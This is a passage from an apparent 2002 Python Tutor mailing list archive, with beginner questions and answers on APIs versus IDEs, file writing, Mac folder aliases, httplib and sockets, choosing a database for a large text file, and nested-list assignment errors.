Environment), and API means "application programming interface" or 
something like that.  How is an API different from an IDE?

A very basic question but I keep seeing it when I go to the bookstore 
and read books about Python.  To think that I have already been coding 
in PHP for a little while and still don't know what it means.


Erik

PS:   And while we're on the subject of IDEs, is IDLE available for Mac 
OS X in Aqua (not X11)?  I haven't seen anything about it but then maybe 
I just didn't look hard enough.



From csmith@blakeschool.org  Sun Feb 10 23:21:35 2002
From: csmith@blakeschool.org (Christopher Smith)
Date: Sun, 10 Feb 2002 17:21:35 -0600
Subject: [Tutor] making an alias of a folder
Message-ID: <fc.004c4b6b008c945a004c4b6b008c945a.8c946d@blakeschool.org>

I think I put this request out before but haven't received any
replies...perhaps there is someone new on the list that could help:

Does anyone have a piece of code that successfully makes an alias of a
folder on the MacOS?

Even if you know how to do this in RealBasic or VisualBasic and could send
me that code snippet I think it would be useful.  I'm trying to complete a
patch to a file copying routine.

/c



From alan.gauld@bt.com  Sun Feb 10 23:29:18 2002
From: alan.gauld@bt.com (alan.gauld@bt.com)
Date: Sun, 10 Feb 2002 23:29:18 -0000
Subject: [Tutor] really dumb questions
Message-ID: <5104D4DBC598D211B5FE0000F8FE7EB20E66C33C@mbtlipnt02.btlabs.bt.co.uk>

Just back from a week vacation so jumping in late...

> > I know that there is writelines, but as usual i can't 
> figure out based on the Python documentation which hardly 
> ever gives illustrative examples.

Thats why Beasleys book is good - it adds the examples ;-)

> >>> scooby_file=open("scooby.txt","w")
> >>> scooby_file.writelines(["Scooby","Dooby","Doo"])
> >>> scooby_file.close()
> 
> Yields the file scooby.txt with the following data in it:
> ScoobyDoobyDoo

And if you want it on separate lines just add a '\n' to 
each item:

f.writelines(map(lambda s: s+'\n', ["Scooby", "Dooby", "Doo"]))

Or do it more explicitly in a loop:

for line in ["Scooby", "Dooby", "Doo"]:
    line = line + '\n'
    f.write(line)

That's all writelines() does internally, (without the \n malarky)
its nothing magic, just a handy shortcut to a common operation...

> > My other dumb question is this: how do i print a list 
> without the leading and trailing brackets and commas? 

> for item in [1,2,3]:
>     print item,           #don't miss that comma on the end, 

But he asked for f.write not print so...

s = ''
for item in [1,2,3]:
    s = s+str(item) # just convert to a string and concatenate
f.write(s)          # then write the final string

> add the `x` thing it works but it adds single quotes to the 
> output. How do you suppress those?

You don't need to. The interpreter adds those to show that 
its a string. If you assign the result to a striong then 
write the string it should work just fine:

> 'x' thing? You've lost me there.

Its the backtick technique for converting to a string.

> current_time=time.time()
> time_file.write(str(current_time))

Yep, just like that... Do you see a trend yet?

> ...the first element of sys.argv should give you 
> what you want. ie.:
> 
> import sys
> program_name=sys.argv[0]

And you could use the os.path functions to prepend 
the current directory if desired.

prog_path = os.path.join(os.getcwd(),sys.argv[0])

Note: that's not tested but something very similar 
should work!

Alan g.


From erikprice@mac.com  Sun Feb 10 23:42:11 2002
From: erikprice@mac.com (Erik Price)
Date: Sun, 10 Feb 2002 18:42:11 -0500
Subject: [Tutor] Python web client book?
Message-ID: <CD7D5DF0-1E7F-11D6-B1AB-00039351FE6A@mac.com>

Hello everyone,

Recently I found myself in the public library of another town, far from 
where I live.  I found a book that really intrigued me -- "Perl Web 
Clients" or something like that (O'Reilly).  Essentially, the book was 
an introductory text for developing code that uses HTTP and the WWW as a 
whole, but without depending on browsers.  I thought it was pretty cool, 
because it explained the basics of the HyperText Transfer Protocol and 
how to work with it, etc.  Coming up with things to actually -do- with 
this protocol is the fun part, and I didn't get that far into the book 
before I had to leave.  I couldn't check the book out, because I don't 
live in that town.

Well, I was wondering if there is such a book for Python.  I think Perl 
is fine too, but I'm not really as interested in Perl at the moment and 
am trying to learn as much as I can about Python, so finding that book 
again isn't even what I really want (although I'm sure that a lot of the 
concepts are applicable to Python).  So is there a decent book on this 
topic that anyone knows of?  I have seen "Python Web Programming" by New 
Riders publishing, and this looked interesting, but at fifty dollars (!) 
I'd have to ask if anyone here has read it before plunking down the 
dough.

Thanks,

Erik



From shalehperry@attbi.com  Mon Feb 11 00:10:12 2002
From: shalehperry@attbi.com (Sean 'Shaleh' Perry)
Date: Sun, 10 Feb 2002 16:10:12 -0800 (PST)
Subject: [Tutor] omit some keys from dict
In-Reply-To: <DF969218-1E73-11D6-B1AB-00039351FE6A@mac.com>
Message-ID: <XFMail.20020210161012.shalehperry@attbi.com>

> 
> I see this acronym all the time, but I'm not terribly sure of what it 
> is:  API.  If I'm not mistaken, IDE is like a program that allows you to 
> code more easily than plaintext file editing (Integrated Development 
> Environment), and API means "application programming interface" or 
> something like that.  How is an API different from an IDE?
> 

API means "Application Programming Interface".  It is the specification used to
write code that talks to another piece of code.  The python C extension API
defines how to write code that can be linked with python and thus make
something that is transparent to the user.  Several modules that you import are
written in C and you never knew it.

An IDE is a piece of software.  It exists and there can be multiple versions of
it.  IDEs are usually a group of components (text editor, debugger, resource
editor, etc) which work together.

Think of API as a wiring diagram.  As long as all of the blue wires connect to
these other wires things work fine.  An IDE would be some nifty piece of
software which helps you design wiring schematics.

> 
> PS:   And while we're on the subject of IDEs, is IDLE available for Mac 
> OS X in Aqua (not X11)?  I haven't seen anything about it but then maybe 
> I just didn't look hard enough.
> 

IDLE uses Tk I believe, so as long as tk works on OS X you should be fine.


From dyoo@hkn.eecs.berkeley.edu  Mon Feb 11 03:04:43 2002
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Sun, 10 Feb 2002 19:04:43 -0800 (PST)
Subject: [Tutor] Stupid newby Question ZODB
In-Reply-To: <87AC7902-1CAF-11D6-9876-0003937266F6@zkm.de>
Message-ID: <Pine.LNX.4.21.0202080947560.2160-100000@hkn.eecs.berkeley.edu>

On Fri, 8 Feb 2002, [ISO-8859-1] Andreas Sch=F6ller wrote:

> How can one delete an entry from a IOBtree ? A simple del tree[key]=20
> brings a __delitem__ error. Reassing a value like tree[key] =3D value is=
=20
> no problem ? How come ? Any special metos needed to accomplish this ?

Hi Andreas,

Hmmm!  It might be possible that __delitem__ hasn't been defined for
BTree's yet, since deleting elements from a BTree can be complicated;
perhaps no one has implemented it yet.  I have've really dived into
IOBtree's source code yet, but if I have time, I'll take a look tonight.


In the meantime, try asking your question on the ZODB-developer mailing
list:

    http://lists.zope.org/mailman/listinfo/zodb-dev/

It's very likely that someone there should know sorta how ZODB works, and
they may be better equipped to help you quickly.


Good luck to you!



From dyoo@hkn.eecs.berkeley.edu  Mon Feb 11 03:10:10 2002
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Sun, 10 Feb 2002 19:10:10 -0800 (PST)
Subject: [Tutor] counter
In-Reply-To: <3C65F987.4F2CF44D@netzero.net>
Message-ID: <Pine.LNX.4.21.0202092236460.1410-100000@hkn.eecs.berkeley.edu>

On Sat, 9 Feb 2002, kirk Bailey wrote:

> Would this be a useless python event, or is it too useful? It is toing
> the counting on the tinylist site NOW.

It's a great candidate for Useless!  *grin*

We call it Useless partially as a tongue-in-cheek thing; please don't
worry if it isn't Useless enough.



From dyoo@hkn.eecs.berkeley.edu  Mon Feb 11 03:17:47 2002
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Sun, 10 Feb 2002 19:17:47 -0800 (PST)
Subject: [Tutor] omit some keys from dict  [lingo and libraries and api's,
 oh my!]
In-Reply-To: <DF969218-1E73-11D6-B1AB-00039351FE6A@mac.com>
Message-ID: <Pine.LNX.4.21.0202101830540.20702-100000@hkn.eecs.berkeley.edu>

On Sun, 10 Feb 2002, Erik Price wrote:

> What is the definition of "Library" in this case?  Is it just "the
> collective body of Python modules"?


By "library", I meant the collective body of Python modules, both in
Python or in C.  There's a comprehesive list of all of them here:

    http://www.python.org/doc/lib/

This is called the "Python Standard Library" because it's bundled with
Python --- every Python programmer can expect to see these modules as a
standard set of tools they can use.



> > The problem about these extension modules is that the C API evolves with
> > Python, and this likely breaks compatibility.
> 
> I see this acronym all the time, but I'm not terribly sure of what it
> is:  API.  If I'm not mistaken, IDE is like a program that allows you
> to code more easily than plaintext file editing (Integrated
> Development Environment), and API means "application programming
> interface" or something like that.  How is an API different from an
> IDE?

Ah; different concept.  An Application Programming Interface (API) is an
agreement on what sort of functions, classes, and variables will be
available for a programmer to use.


The term "API" and "module" are related, but there IS a difference --- an
API is a general, fuzzy concept, while a Python module is something solid,
something we can actually import.  A concrete example of an API is the
OpenGL standard:

    http://www.sgi.com/software/opengl/
    http://opengl.org/

OpenGL defines a set of functions we can use to control graphical displays
on a wide variety of computers.  The OpenGL API describes the kinds of
functions that a graphics programmer can expect to use, but doesn't really
mention how to implement such a beast.

However, Python has a module called PyOpenGL that actually implements this
API:

    http://pyopengl.sourceforge.net/

So the difference between an API and a module is that an Application
Programming Interface tells us what to expect, while a module is a thing
that can implement that Interface.


Sometimes, I'll get sloppy and say "API" when I mean "module" though, so
apologies in advance!  I'll try to be careful about my word usage.



> A very basic question but I keep seeing it when I go to the bookstore
> and read books about Python.  To think that I have already been coding
> in PHP for a little while and still don't know what it means.

No problem.  There are way too many acronyms in the world.  *grin*



> PS:  And while we're on the subject of IDEs, is IDLE available for Mac
> OS X in Aqua (not X11)?  I haven't seen anything about it but then
> maybe I just didn't look hard enough.

Hmmm!  I believe so, since the Apple folks finally ported Tkinter for OS
X in October:

    http://www.opensource.apple.com/news/index.html


Searching... ah!  Ok, check Tony Lownds's OS X/Python page for a
precompiled Python with Tkinter:

    http://tony.lownds.com/macosx/
    http://tony.lownds.com/macosx/idle_screenshot.png


Please feel free to ask more questions; I think I rushed things a bit.



From dyoo@hkn.eecs.berkeley.edu  Mon Feb 11 03:23:11 2002
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Sun, 10 Feb 2002 19:23:11 -0800 (PST)
Subject: [Tutor] making an alias of a folder
In-Reply-To: <fc.004c4b6b008c945a004c4b6b008c945a.8c946d@blakeschool.org>
Message-ID: <Pine.LNX.4.21.0202101920230.20702-100000@hkn.eecs.berkeley.edu>

On Sun, 10 Feb 2002, Christopher Smith wrote:

> I think I put this request out before but haven't received any
> replies...perhaps there is someone new on the list that could help:
> 
> Does anyone have a piece of code that successfully makes an alias of a
> folder on the MacOS?

Hello!

First, I'd better admit I'm clueless about this one... *grin* You might be
able to find something in here:

    http://www.python.org/doc/current/mac/mac.html

I don't have a Macintosh available at the moment, so I can't test this,
but I believe that the macfs.NewAliasMinimalFromFullPath() is the function
that you're looking for:

    http://www.python.org/doc/current/mac/module-macfs.html


Good luck to you!



From erikprice@mac.com  Mon Feb 11 04:09:52 2002
From: erikprice@mac.com (Erik Price)
Date: Sun, 10 Feb 2002 23:09:52 -0500
Subject: [Tutor] omit some keys from dict  [lingo and libraries and api's, oh my!]
In-Reply-To: <Pine.LNX.4.21.0202101830540.20702-100000@hkn.eecs.berkeley.edu>
Message-ID: <33219300-1EA5-11D6-BBEA-00039351FE6A@mac.com>

On Sunday, February 10, 2002, at 10:17  PM, Danny Yoo wrote:

> By "library", I meant the collective body of Python modules, both in
> Python or in C.  There's a comprehesive list of all of them here:
>
>     http://www.python.org/doc/lib/
>
> This is called the "Python Standard Library" because it's bundled with
> Python --- every Python programmer can expect to see these modules as a
> standard set of tools they can use.

I saw one called "httplib" in that list (or something to that effect).  
It appears to allow the Python programmer to communicate with a remote 
machine using HTTP GET and POST requests.  In the example provided for 
the library, they show the code with the three greater-than symbols that 
suggest that the code is typed at the interpreter prompt.

http://www.python.org/doc/lib/httplib-examples.html

I opened up my shell and fired up the interpreter to try these examples 
out.  The output was slightly different, but I did in fact get the 
status: 200 reason: OK from the first part of the top example.  (The 
different output was that the second code batch of the top example, the 
GET "/parrot.spam", returned a 200 but no "reason".)

So does this mean that I can basically access sockets from the 
interpreter using Python?  If that's the case then this isn't going to 
be as difficult to learn as I thought!  What a great idea!


Erik



From dyoo@hkn.eecs.berkeley.edu  Mon Feb 11 04:43:50 2002
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Sun, 10 Feb 2002 20:43:50 -0800 (PST)
Subject: [Tutor] omit some keys from dict  [lingo and libraries and api's,
 oh my!]
In-Reply-To: <33219300-1EA5-11D6-BBEA-00039351FE6A@mac.com>
Message-ID: <Pine.LNX.4.21.0202102042080.20702-100000@hkn.eecs.berkeley.edu>

On Sun, 10 Feb 2002, Erik Price wrote:

> So does this mean that I can basically access sockets from the
> interpreter using Python?  If that's the case then this isn't going to
> be as difficult to learn as I thought!  What a great idea!

Yes, exactly.  *grin*

Oh, for more detail, see:

    http://py-howto.sourceforge.net/sockets/sockets.html

for a HOWTO on doing Socket programming in Python.  Hope this helps!



From shalehperry@attbi.com  Mon Feb 11 05:37:41 2002
From: shalehperry@attbi.com (Sean 'Shaleh' Perry)
Date: Sun, 10 Feb 2002 21:37:41 -0800 (PST)
Subject: [Tutor] omit some keys from dict  [lingo and libraries and a
In-Reply-To: <33219300-1EA5-11D6-BBEA-00039351FE6A@mac.com>
Message-ID: <XFMail.20020210213741.shalehperry@attbi.com>

> 
> So does this mean that I can basically access sockets from the 
> interpreter using Python?  If that's the case then this isn't going to 
> be as difficult to learn as I thought!  What a great idea!
> 

If python can be programmed to do it, you can do it interactively.  This *IS*
what makes python sooooo easy to learn and experiment with.  In fact I often
leave one open while i program in another window so I can test ideas out before
I code them permanently.


From toodles@yifan.net  Mon Feb 11 06:13:42 2002
From: toodles@yifan.net (Andy W)
Date: Mon, 11 Feb 2002 14:13:42 +0800
Subject: [Tutor] really dumb questions
References: <5104D4DBC598D211B5FE0000F8FE7EB20E66C33C@mbtlipnt02.btlabs.bt.co.uk>
Message-ID: <003f01c1b2c3$435279d0$3100a8c0@sun>

> > for item in [1,2,3]:
> >     print item,           #don't miss that comma on the end,
>
> But he asked for f.write not print so...

Ack, Sorry! Thanks for pointing out the error, Alan.

>
> s = ''
> for item in [1,2,3]:
>     s = s+str(item) # just convert to a string and concatenate
> f.write(s)          # then write the final string

Just to go on from my example, you could redirect print-output to a file
like such:

for item in [1,2,3]:
    print >> f, str(item),

That's starting to look a little less like Python to me, though. <grin>

Andy W.



From yogapython@yahoo.com  Mon Feb 11 08:12:45 2002
From: yogapython@yahoo.com (Yoga Python Geerrrrr)
Date: Mon, 11 Feb 2002 00:12:45 -0800 (PST)
Subject: [Tutor] please help me for python programming
Message-ID: <20020211081245.35302.qmail@web21304.mail.yahoo.com>

i hope you help me

__________________________________________________
Do You Yahoo!?
Send FREE Valentine eCards with Yahoo! Greetings!
http://greetings.yahoo.com


From wheelege@hotmail.com  Mon Feb 11 11:55:28 2002
From: wheelege@hotmail.com (Glen Wheeler)
Date: Mon, 11 Feb 2002 22:55:28 +1100
Subject: [Tutor] please help me for python programming
References: <20020211081245.35302.qmail@web21304.mail.yahoo.com>
Message-ID: <DAV65SaUpqWw0PPi7Z40001d5dd@hotmail.com>

  Sure, but what is the question?

----- Original Message ----- 
From: "Yoga Python Geerrrrr" <yogapython@yahoo.com>
To: <tutor@python.org>
Sent: Monday, February 11, 2002 7:12 PM
Subject: [Tutor] please help me for python programming


> i hope you help me
> 


From kp87@lycos.com  Mon Feb 11 12:53:30 2002
From: kp87@lycos.com (kevin parks)
Date: Mon, 11 Feb 2002 21:53:30 +0900
Subject: [Tutor] Re: Mac alias
Message-ID: <JAOOMNFKKDAHHBAA@mailcity.com>

>Does anyone have a piece of code that successfully makes an alias of a
>folder on the MacOS?

I think this is in macfs FSSpec objects. if i remember right. You look at the docs on www.python.org under Macintosh library modules and then hit macfs in the index, but then you have to scroll down the bottom of that page and it will have a link for FSSpec objects. It is a little hidden.

http://www.python.org/doc/current/mac/fsspec-objects.html

Anyway, not sure if this helps as i am not sure that it will help you alias a folder as well as a file.

Very glad to see someone here on the Macintosh. Thanks for your module.



-kevin




Go Get It!
Send FREE Valentine eCards with Lycos Greetings
http://greetings.lycos.com


From erikprice@mac.com  Mon Feb 11 13:18:07 2002
From: erikprice@mac.com (Erik Price)
Date: Mon, 11 Feb 2002 08:18:07 -0500
Subject: [Tutor] omit some keys from dict  [lingo and libraries and a
In-Reply-To: <XFMail.20020210213741.shalehperry@attbi.com>
Message-ID: <C99FF3C5-1EF1-11D6-8377-00039351FE6A@mac.com>

On Monday, February 11, 2002, at 12:37  AM, Sean 'Shaleh' Perry wrote:

> In fact I often
> leave one open while i program in another window so I can test ideas 
> out before
> I code them permanently.

That is a really good idea.  I wish I had this flexibility in PHP.  
Nope, instead it's "modify code, upload, test in browser, repeat".  Not 
that I don't like PHP, but I really want to look at Python as an 
alternative for web development.  I'm excited.


Erik



From brad.reisfeld@colostate.edu  Mon Feb 11 13:52:20 2002
From: brad.reisfeld@colostate.edu (Brad Reisfeld)
Date: Mon, 11 Feb 2002 06:52:20 -0700
Subject: [Tutor] Python database options
Message-ID: <NGEALAODAKLOJADDLGPAIEMOCAAA.brad.reisfeld@colostate.edu>

Hi,
I have inherited a large tab-delimited text file containing about 150,000
records, each of which has about 10 fields. I am interested in using some
sort of very simple 'database' to search within the file (i.e. search
through a field for a given item and retrieve the record). These 'searches'
will be part of another application and will need to be fast.

I know next to nothing about databases, but have, through some research
identified a number of options:

Options:
1. dictionary + pickle
2. dictionary + shelve
3. Gadfly
4. Berkeley DB + Python bindings
5. Postgres, MySQL + Python bindings

The first couple of options relate reading in the file, creating a
dictionary, and making it persistent. The Gadfly option looks good, but I'm
not sure whether or not it is still supported and works under later versions
of Python. The last couple of options are for 'true' database manager
packages: perhaps overkill for this application.

What are the pros and cons of the options? Are there other viable options?

I'm using Python 2.1 on Linux RH7.2.

Thank you for your help in sorting this out.

-Brad



From kalle@gnupung.net  Mon Feb 11 14:42:13 2002
From: kalle@gnupung.net (Kalle Svensson)
Date: Mon, 11 Feb 2002 15:42:13 +0100
Subject: [Tutor] Python database options
In-Reply-To: <NGEALAODAKLOJADDLGPAIEMOCAAA.brad.reisfeld@colostate.edu>
References: <NGEALAODAKLOJADDLGPAIEMOCAAA.brad.reisfeld@colostate.edu>
Message-ID: <20020211144213.GC2582@sandra.lysator.liu.se>

[Brad Reisfeld]
[...]
> Options:
> 1. dictionary + pickle
> 2. dictionary + shelve
> 3. Gadfly
> 4. Berkeley DB + Python bindings
> 5. Postgres, MySQL + Python bindings
[...]
> What are the pros and cons of the options? Are there other viable
> options?

First off, as you feared, Gadfly seems to be unsupported.  It should
work on Python 2.1, but will generate a couple of warnings due to use
of deprecated modules.

If you only want to search on one or a few fields and don't need
pattern search (like 'get all lines where the 'user' field starts with
a 'd'), a DBM-based solution or a pickled dictionary should be ok.
Otherwise you will need a more sophisticated database, like Postgres
or MySQL, to get good performance.  I haven't used Berkeley DB and I'm
not aware of it's capabilities.  It might be good enough.

Peace,
  Kalle
-- 
Kalle Svensson (kalle@gnupung.net) - Laziness, impatience, hubris: Pick two!
English: http://www.gnupung.net/  Svenska: http://www.lysator.liu.se/~kalle/
Stuff: ["http://www.%s.org/" % x for x in "gnu debian python emacs".split()]


From charlie@begeistert.org  Mon Feb 11 15:05:37 2002
From: charlie@begeistert.org (Charlie Clark)
Date: Mon, 11 Feb 2002 10:05:37 -0500
Subject: [Tutor] Re: Tutor digest, Vol 1 #1417 - 19 msgs
Message-ID: <18389604834-BeMail@gormenghast>

>Options:
>1. dictionary + pickle
>2. dictionary + shelve
>3. Gadfly
>4. Berkeley DB + Python bindings
>5. Postgres, MySQL + Python bindings
>
>The first couple of options relate reading in the file, creating a
>dictionary, and making it persistent. The Gadfly option looks good, 
but I'm
>not sure whether or not it is still supported and works under later 
versions
>of Python. The last couple of options are for 'true' database manager
>packages: perhaps overkill for this application.
>
Add 
6) ZODB Standalone
just released and supported by Zope Corporation
7) mxODBC and any ODBC database

Speed=3F You will need to provide more information about how fast you 
need: how many records in how short a time. Are you just going to be 
reading from the database or will you be adding to it or changing it=3F 
Do you need support for transactions=3F, etc.This is really a database 
question and should be addressed at database gurus.

It shouldn't make much difference in Python which database you use as 
the interfaces (the way you talk to the database) are very standard. 
It's also worth looking at Marc-Andr=E9 Lemburgs mxODBC library which 
gives you quick access to any database for which you also have an ODBC 
driver.

Charlie.�



From charlie@begeistert.org  Mon Feb 11 15:09:36 2002
From: charlie@begeistert.org (Charlie Clark)
Date: Mon, 11 Feb 2002 10:09:36 -0500
Subject: [Tutor] Re: Tutor digest, Vol 1 #1417 - 19 msgs
Message-ID: <18629026523-BeMail@gormenghast>

>> s =3D ''
>> for item in [1,2,3]:
>>     s =3D s+str(item) # just convert to a string and concatenate
>> f.write(s)          # then write the final string
>
>Just to go on from my example, you could redirect print-output to a 
file
>like such:
>
>for item in [1,2,3]:
>    print >> f, str(item),
>
>That's starting to look a little less like Python to me, though. <grin
>

Yep, is anybody using this ugly extension=3F Guido get rid of it! ;-)
I hate backticks as well which might seem fine for shell-freaks but 
really aren't consistent with the rest of the language and bound to 
throw off people who are new to programming in general.

Charlie
�



From csmith@blakeschool.org  Mon Feb 11 15:09:35 2002
From: csmith@blakeschool.org (Christopher Smith)
Date: Mon, 11 Feb 2002 09:09:35 -0600
Subject: [Tutor] Re: making an alias of a folder
In-Reply-To: <E16aHgY-00033a-00@mail.python.org>
References: <E16aHgY-00033a-00@mail.python.org>
Message-ID: <fc.004c4b6b008ca1b03b9aca0047d9c73f.8ca282@blakeschool.org>

Danny Yoo writes:
<cut>
>
>I don't have a Macintosh available at the moment, so I can't test this,
>but I believe that the macfs.NewAliasMinimalFromFullPath() is the function
>that you're looking for:
>
>    http://www.python.org/doc/current/mac/module-macfs.html

I looked at that and didn't initially think that it was going to help but
your saying it might be the thing made me look again.  Though I don't know
if I've got everything right, I do have a routine now that will make an
alias of a folder.  I don't understand the "relative" option yet, though. 
Those more in the know about the mac toolbox may see other things that I
don't know as well. :-)  Until the macostools.makealias is fixed, this is
a workaround.

Thanks for the nudge, Danny.  And thanks for filing a bug report, Jack.

/c

####
import macfs
from Carbon import Res

#
# Doesn't yet handle the relative option; I'm not sure what this
# means for an alias yet.
#
def mkfolderalias(src, dst, relative=None):
	"""Create an alias to a folder"""
	alias = macfs.NewAliasMinimalFromFullPath(dst)
	dstfss = alias.Resolve()[0]
	Res.FSpCreateResFile(dstfss, 'MACS', 'fdrp', -1)
	
	# make it point at the src and update the resource 
	# {see Mac Lib Modules; v 2.2; sect 2.4.2 Alias Objects}
	# If the source is itself an alias, the new alias
	# will point at the same thing that the src alias is
	# pointing at.  If the src is *not* a folder it will then
	# still point at the file but the icon will be a folder
	# icon until it is updated by the Finder (e.g. after 
	# double clicking on it in the Finder).
	#
	alias.Update(src)
	h = Res.FSpOpenResFile(dstfss, 3)
	resource = Res.Resource(alias.data)
	resource.AddResource('alis', 0, '')
	Res.CloseResFile(h)
	
	# turn it into an alias icon; before doing this the 
	# folder icon will be "busy and in use by the system"
	#
	dstfss = macfs.FSSpec(dst)
	dstfinfo = dstfss.GetFInfo()
	dstfinfo.Flags = dstfinfo.Flags|0x8000    # Alias flag
	dstfss.SetFInfo(dstfinfo)
####



From virketis@fas.harvard.edu  Mon Feb 11 15:13:59 2002
From: virketis@fas.harvard.edu (Pijus Virketis)
Date: Mon, 11 Feb 2002 10:13:59 -0500
Subject: [Tutor] Python database options
References: <NGEALAODAKLOJADDLGPAIEMOCAAA.brad.reisfeld@colostate.edu>
Message-ID: <003301c1b30e$bb7e5fa0$18adf78c@virketis2>

Brad,

> 5. Postgres, MySQL + Python bindings

I suggest you pick one of these databases, and move your data to it. My
reasoning is rather simple: both of them are free, they will give you great
speed and flexibility, and, perhaps most important, if you want to do
something a bit more sophisticated later on, they will scale and expand
nicely. And trust me, once you have, say, a MySQL db set up, you will
immediately think of five interesting ways to slice and dice your data ...
:)

The actual process of moving should be fairly straightforward. MySQL and
probably Postgres should come standard with your RH distro. The Python
interface to the former is here:
http://sourceforge.net/projects/mysql-python/ and for the latter here
http://sourceforge.net/projects/pypgsql/. Check out the docs for the Python
DB API and other interesting info here:
http://www.python.org/topics/database/. Then, it's just a question of
opening up a connection, reading your 150000 lines one by one, and inserting
them into the table. While you're at it, you might want to normalise it as
well, since 10 fields sounds a bit much. :)

Cheers,

Pijus



From cmccormick@thestate.com  Mon Feb 11 16:56:54 2002
From: cmccormick@thestate.com (Chris McCormick)
Date: Mon, 11 Feb 2002 11:56:54 -0500
Subject: [Tutor] Problems changing a list item in place ?
Message-ID: <UOWT7DZYFTNNIPKPNTSPJ54SMNLP.3c67f7d6@cmccormickl>

Hello all,
    I have a program with a two-dimensional list called map.  After it has already been populated, I want to do this:

     map[y_box][x_box][0] = selected_tile

     But I get this error:

   File "map_edit.py", line 270, in main
    map[y_box][x_box][0] = selected_tile                        # Change value of the tile
TypeError: object doesn't support item assignment

  y_box and x_box are indexes; the statement "print map[y_box][x_box]" works fine.  selected_tile is just an integer, though it shouldn't matter.

I thought you could change list items in-place by assignment.  Are multi-dimensional lists different?

Thanks in advance,
Chris






From toodles@yifan.net  Mon Feb 11 17:16:54 2002
From: toodles@yifan.net (Andy W)
Date: Tue, 12 Feb 2002 01:16:54 +0800
Subject: [Tutor] Problems changing a list item in place ?
References: <UOWT7DZYFTNNIPKPNTSPJ54SMNLP.3c67f7d6@cmccormickl>
Message-ID: <003701c1b31f$e83f1190$3100a8c0@sun>


> Hello all,
>     I have a program with a two-dimensional list called map.  After it has
already been populated, I want to do this:
>
>      map[y_box][x_box][0] = selected_tile
>
>      But I get this error:
>
>    File "map_edit.py", line 270, in main
>     map[y_box][x_box][0] = selected_tile                        # Change
value of the tile
> TypeError: object doesn't support item assignment

Could it be that  map[y_box][x_box] is referring to a tuple?
Tuples are immutable, so do not support item assignment.
If you make it so that the tuple is a list, then things should work.
Maybe I'm wrong though?

>
>   y_box and x_box are indexes; the statement "print map[y_box][x_box]"
works fine.  selected_tile is just an integer, though it shouldn't matter.
>
> I thought you could change list items in-place by assignment.  Are
multi-dimensional lists different?
>
> Thanks in advance,
> Chris
>
>
>
>
>
> _______________________________________________
> Tutor maillist  -  Tutor@python.org
> http://mail.python.org/mailman/listinfo/tutor
>



From idiot1@netzero.net  Mon Feb 11 03:58:24 2002
From: idiot1@netzero.net (kirk Bailey)
Date: Sun, 10 Feb 2002 22:58:24 -0500
Subject: [Tutor] passwords
Message-ID: <3C674160.60D1D569@netzero.net>

OK, I want to be able to change paswords.

no kidding unix shell passwords. wencrypted in the database of all
users in critter.

I want to do it with a form feeding to a script. accountname,
oldpassword, oldpassword, newpassword. 

the data to be changed in a FreeBSD server is encrypted, in a colon
delinieated database, normally modified with 'vipw'. 'vi' is a major
editor with the capacity to access this file, decrypt it, edit the
stuff, recrypt it, and save it. vipw is a shortcut that fires it up
with all the path, filename, and special flags for this special task.

I already know about the passwd command, it is interactive. IT talks
back, I bet that could bark at the script real fine.

so far the only things in python dealing with paswords GET them from
the user and compare them to the stored password for equality.

any advice?


-- 
 
end
	    Respectfully,
			Kirk D Bailey

+---------------------"Thou Art Free." -Eris----------------------+
| http://www.howlermonkey.net mailto:highprimate@howlermonkey.net |
| http://www.tinylist.org  +--------+  mailto:grumpy@tinylist.org |
+------------------Thinking| NORMAL |Thinking---------------------+
                           +--------+

----------------------------------------------------
Sign Up for NetZero Platinum Today
Only $9.95 per month!
http://my.netzero.net/s/signup?r=platinum&refcd=PT97


From urnerk@qwest.net  Mon Feb 11 17:35:23 2002
From: urnerk@qwest.net (Kirby Urner)
Date: Mon, 11 Feb 2002 09:35:23 -0800
Subject: [Tutor] Problems changing a list item in place ?
In-Reply-To: <UOWT7DZYFTNNIPKPNTSPJ54SMNLP.3c67f7d6@cmccormickl>
Message-ID: <4.2.0.58.20020211091624.00ce05e0@pop3.norton.antivirus>

At 11:56 AM 2/11/2002 -0500, Chris McCormick wrote:
>Hello all,
>     I have a program with a two-dimensional list called map.

'map' is a built-in function -- best to not use it
as a variable name.  Going

   map = []

will wipe out your ability to use the native map
function.

>After it has already been populated, I want to do this:
>
>      map[y_box][x_box][0] = selected_tile

This looks like a three dimensional list.  A 2-d list
would have only 2 subscripts, e.g. here's a two-dimensional
list of [pet, petname] elements:

   >>> pets
   [['dog', 'rover'], ['cat', 'moon']]

To change the name of the cat, I could go:

   >>> pets[1][1] = 'fiesta'
   >>> pets
   [['dog', 'rover'], ['cat', 'fiesta']]

A 3 dimension list would like like:

   [[['a','b'],['c','d']],[['e','f'],['g','h']]]

   >>> themap =   [[['a','b'],['c','d']],[['e','f'],['g','h']]]
   >>> themap[0][1][1]
   'd'
   >>> themap[1]
   [['e', 'f'], ['g', 'h']]
   >>> themap[1][1][1]
   'h'

>      But I get this error:
>
>    File "map_edit.py", line 270, in main
>     map[y_box][x_box][0] = selected_tile                        # Change 
> value of the tile
>TypeError: object doesn't support item assignment
>
>   y_box and x_box are indexes; the statement "print map[y_box][x_box]" 
> works fine.  selected_tile is just an integer, though it shouldn't matter.

Sounds like you probably do have a 2-d list, but you're
trying to index on an element.  It'd be like, using the pets
example, going:

   >>> pets[1][1][0] = 'fiesta'
   Traceback (most recent call last):
     File "<pyshell#26>", line 1, in ?
       pets[1][1][0] = 'fiesta'
   TypeError: object doesn't support item assignment

Note same error message.

The interpreter is saying "wait a minute, you're trying to
stuff 'fiesta' into 'moon' as its 0th member.  But 'moon'
isn't a list.  It's a string.  'string'[index] = object
is not legal syntax.

       map[y_box][x_box] = selected_tile

is what you need to do (but again, it's unfortunate to use
the variable name map).

>I thought you could change list items in-place by assignment.  Are 
>multi-dimensional lists different?

You have too many indexes.  2-d means two indexes, but
you were making it 3 by puting that [0] on the end.

>Thanks in advance,
>Chris

Kirby



From cmccormick@thestate.com  Mon Feb 11 17:55:05 2002
From: cmccormick@thestate.com (Chris McCormick)
Date: Mon, 11 Feb 2002 12:55:05 -0500
Subject: [Tutor] Re: Changing a list item in place
Message-ID: <F081X21IGZWZX32DB75B973VU4XJG21.3c680579@cmccormickl>

Kirby,
